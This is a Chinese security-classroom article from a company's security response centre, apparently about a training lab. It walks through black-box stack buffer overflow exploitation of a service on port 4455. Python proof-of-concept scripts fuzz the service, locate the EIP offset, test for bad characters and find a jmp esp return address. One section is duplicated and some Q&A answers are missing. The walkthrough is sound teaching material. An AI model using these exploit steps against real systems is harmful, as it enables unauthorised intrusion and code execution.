安全小课堂第126期【黑盒测试缓冲区溢出】

2019-01-15 6,378

缓冲区溢出是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

JSRC 安全小课堂第126期,邀请到遗忘作为讲师就黑盒测试缓冲区溢出的技术为大家进行分享。同时感谢小伙伴们的精彩讨论。


京安小妹:缓冲区溢出是什么意思?

遗忘:

缓冲区溢出是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。



京安小妹:冲区溢出的偏移怎么查找?

遗忘:

可以通过metasploit自带的脚本生成一串很长的字符串,如图

接着我们把这3000个字符当作payload去执行

可以看到,这个时候,EIP变成了

EIP变成387a4137

还是使用msf自带的脚本,根据EIP,计算出偏移为

接着我们可以看一下偏移找的是否正确 

POC如下

#!/usr/bin/python

import sys, socket

if len(sys.argv) < 2:
    print "nUsage: " + sys.argv[0] + " <HOST>n"
    sys.exit()

cmd = "OVRFLW "
junk = "A"*773 +"B"*4+"C"*(3000-773-4)
end = "rn"

buffer = cmd + junk + end

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 4455))
s.send(buffer)
s.recv(1024)
s.close()

773个A,加上4个B以及一堆C,如果偏移没有计算错误,那么执行完的结果,EIP应该被覆盖成42424242

我们可以看到,EIP确实被覆盖成42424242,说明偏移是正确的

我这里倒过来讲一下,第一个步骤以及POC

#!/usr/bin/python

import sys, socket

if len(sys.argv) < 2:
   print "nUsage: " + sys.argv[0] + " <HOST>n"
   sys.exit()

cmd = "OVRFLW "
junk = "A" *3000
end = "rn"

buffer = cmd + junk + end

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 4455))
s.send(buffer)
s.recv(1024)
s.close()

这是第一步的POC,直接是3000个A,相对应的EIP,为41

缓冲区的栈溢出,就是覆盖EIP,然后执行我们最终的shellcode


京安小妹:缓冲区溢出的坏字符是什么意思呢?

遗忘:

缓冲区溢出的在生成shellcode时,会影响输入的字符,比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。

常见的坏字符有x0ax0bx00,但是本实验还有另外的

这时候我们用全字符当作payload执行一下

POC为

#!/usr/bin/python

import sys, socket

if len(sys.argv) < 2:
    print "nUsage: " + sys.argv[0] + " <HOST>n"
    sys.exit()
badchar=(
"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10"
"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"
"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30"
"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"
"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"
"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"
"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"
"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"
"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"
"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"
"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"
"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"
"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"
"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"
"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexffx00"
)
cmd = "OVRFLW "
junk = "A"*773 +badchar
end = "rn"

buffer = cmd + junk + end

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 4455))
s.send(buffer)
s.recv(1024)
s.close()

对应的结果为

从01开始,一直到00结束,我们可以看到,01,02,03显示正常,但是04,05变成了B0以此类推,我们找到的坏字符如下x04x05xa4xa5xb0xbaxbbxefxf0,再加上常见的x0ax0bx00就是我们最终的所有坏字符


京安小妹:缓冲区溢出的坏字符怎么查找?

遗忘:

这时候我们用全字符当作payload执行一下

POC为

#!/usr/bin/python

import sys, socket

if len(sys.argv) < 2:
    print "nUsage: " + sys.argv[0] + " <HOST>n"
    sys.exit()
badchar=(
"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10"
"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"
"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30"
"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"
"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"
"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"
"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"
"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"
"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"
"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"
"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"
"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"
"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"
"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"
"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexffx00"
)
cmd = "OVRFLW "
junk = "A"*773 +badchar
end = "rn"

buffer = cmd + junk + end

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 4455))
s.send(buffer)
s.recv(1024)
s.close()

对应的结果为

从01开始,一直到00结束,我们可以看到,01,02,03显示正常,但是04,05变成了B0以此类推,我们找到的坏字符如下x04x05xa4xa5xb0xbaxbbxefxf0,再加上常见的x0ax0bx00就是我们最终的所有坏字符


京安小妹:缓冲区溢出的shellcode跳转地址怎么查找?

遗忘:

使用的跳转地址是jmp/call esp,可以利用调试器在程序运行后,在程序内部或者程序加载的dll动态链接库中寻找jmp/call esp指令

一般可以选kernel32.dll

然后Ctrl+F,搜索jmp esp

可以找到跳转地址为6a966683

数据在内存中的存储顺序是四个字节一组倒着存储,所有我们需要把地址反着写入

所以跳转地址应该为x83x66x96x6a

找到跳转地址,又知道了坏字符,这时候可以直接生成shellcode

并且执行,就像这样


互动问答环节:

遗忘:

1.就是通过这个进行对比,不一致的地方就是坏字符是么?

遗忘:

是的,进行比对,显示不正确的,就是坏字符,黑盒上来说是这样

但是通过反编译,不是全部是坏字符,但是坏字符是可以多,不能少的,所以黑盒不能确定具体只能全部算是

2.生成shellcode可以详细说一下么?


遗忘:

3.您好,这个pwk程序与利用脚本可以提供参考一下么


遗忘:

本期小课堂里面所提到的资料

链接: https://pan.baidu.com/s/1pUyYH48y5q7JRAyVPYKrfw 

提取码: fmdz 


本文作者:京东SRC

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/95215.html

Tags:
评论  (0)
快来写下你的想法吧!

京东SRC

文章数:73 积分: 129

京东安全应急响应中心

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号